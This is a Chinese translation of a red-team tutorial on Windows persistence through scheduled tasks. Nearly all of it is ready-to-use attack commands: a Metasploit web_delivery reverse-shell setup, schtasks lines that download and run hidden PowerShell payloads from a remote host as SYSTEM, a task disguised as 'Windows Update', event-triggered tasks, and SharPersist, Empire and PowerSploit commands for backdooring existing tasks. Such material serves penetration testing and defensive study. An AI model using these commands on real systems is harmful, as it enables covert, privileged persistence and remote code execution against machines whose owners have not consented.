Windows操作系統提供了一個實用程序(schtasks.exe),使系統管理員能夠在特定的日期和時間執行程序或腳本。這種行為可作為一種持久性機制被red team利用。通過計划任務執行持久性不需要管理員權限,但如果已獲得提升的權限,則允許進一步操作,例如在用戶登錄期間或在空閑狀態期間執行任務。
計划任務的持久化技術可以手動實現,也可以自動實現。有效負載可以從磁盤或遠程位置執行,它們可以是可執行文件、powershell腳本或scriptlet的形式。這被認為是一種舊的持久性技術,但是它仍然可以在red team場景中使用,並且由各種開源工具支持。Metasploit 的web_delivery模塊可用於托管和生成各種格式的有效載荷。
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit
在命令提示符下,“ schtasks ”可執行文件可用於創建計划任務,該任務將在每個Windows登錄中以SYSTEM的形式下載並執行基於PowerShell的有效負載。
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

命令提示符--持久性計划任務
當用戶再次使用系統登錄時,將執行有效負載,並打開meterpreter會話。

Meterpreter – 持久性計划任務
也可以在系統啟動期間或用戶會話處於非活動狀態(空閑模式)時執行。
#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
#(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
有效負載的執行也可以在特定的時間發生,並且可以具有到期日期和自刪除功能。“schtasks”實用程序提供了必要的選項,因為它是其功能的一部分。
schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%

持續性–計划任務日期和時間
如果為目標事件啟用了事件日志記錄,則可以在特定的Windows事件中觸發任務。b33f在他的網站上演示了此技術。Windows事件命令行實用程序可用於查詢事件ID。
wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]

查詢事件ID
可以創建一個計划任務,該任務將在系統上發生關聯的事件ID時執行有效負載。
schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"

持久性–計划任務事件ID
“ 查詢 ”參數可用於檢索新創建的計划任務的信息。
schtasks /Query /tn OnLogOff /fo List /v

查詢計划任務
當用戶管理員注銷時,將創建事件ID,並在下次登錄時執行有效負載。

計划任務注銷– Meterpreter
或者,可以使用PowerShell創建計划任務,這些任務將在用戶登錄時或在特定時間和日期執行。
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"
$S = New-ScheduledTaskSettingsSet
$P = New-ScheduledTaskPrincipal "Pentestlab"
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask Pentestlab -InputObjec $D
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask PentestLaboratories -InputObject $D

持久性計划任務– PowerShell
SharPersist
github項目地址:https://github.com/fireeye/SharPersist
通過計划任務在SharPersist中添加了關於持久性的多種功能。如果用戶具有管理員級別的特權,則以下命令可以創建一個新的計划任務,該任務將在Windows登錄期間執行。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon

SharPersist –新計划任務登錄
在系統的下一次重新引導中,有效負載將執行,並且Meterpreter會話將打開。

Meterpreter – SharPersist計划任務
SharPersist也可用於列出特定的計划任務,以識別所有者,觸發器和要執行的動作。
SharPersist -t schtask -m list -n "PentestLab"

SharPersist –列表計划任務
或者,僅使用“ list ”選項而不指定名稱將枚舉系統上所有現有的計划任務。
SharPersist -t schtask -m list

SharPersist –列表計划任務
類似於Metasploit Framework功能,該功能具有檢查目標是否易受攻擊以及漏洞利用能否成功執行的功能,SharPersist具有空運行檢查。通過檢查名稱和提供的參數,此功能可用於驗證調度任務命令。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check

SharPersist –檢查計划任務
SharPersist還可以枚舉登錄期間將執行的所有計划任務。此命令可用於主機的態勢感知期間,並確定是否存在可以修改以運行有效負載而不是創建新任務的現有計划任務。
SharPersist -t schtaskbackdoor -m list -o logon

SharPersist –列出登錄計划任務
該schtaskbackdoor功能與檢查相結合的參數可以識別,如果一個特定的計划任務已后門。
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check

SharPersist –檢查后門計划任務
“ Add ”參數將后門現有的計划任務,該任務將執行惡意命令,而不是執行更隱蔽的持久性選項來執行合法動作。
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "ReconcileLanguageResources" -m add

SharPersist –后門計划任務
Empire
Empire根據活動代理的特權包含兩個模塊,這些模塊可用於實施計划任務的持久性技術。以下配置每天凌晨03:22將執行基於PowerShell的有效負載。有效負載存儲在注冊表項中,任務名稱為“ WindowsUpdate ”,以便區分合法的計划任務。
usemodule persistence/userland/schtasks
set Listener http
set TaskName WindowsUpdate
set DailyTime 03:22
execute

Empire – 持久性計划任務
計划任務的提升模塊提供了在用戶登錄期間執行有效負載的選項。在這兩個模塊中,都將使用注冊表以Base64編碼格式存儲有效負載,但是以不同的注冊表項存儲。
usemodule persistence/elevated/schtasks*
set Listener http

Empire Elevated – 持久性計划任務
PowerSploit
PowerSploit的持久性模塊支持各種功能,可用於向腳本或腳本塊添加持久性功能。在添加持久性之前,需要配置高架選項和用戶選項。
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly
$UserOptions = New-UserPersistenceOption -ScheduledTask -Hourly
Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions

PowerSploit –計划任務
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/
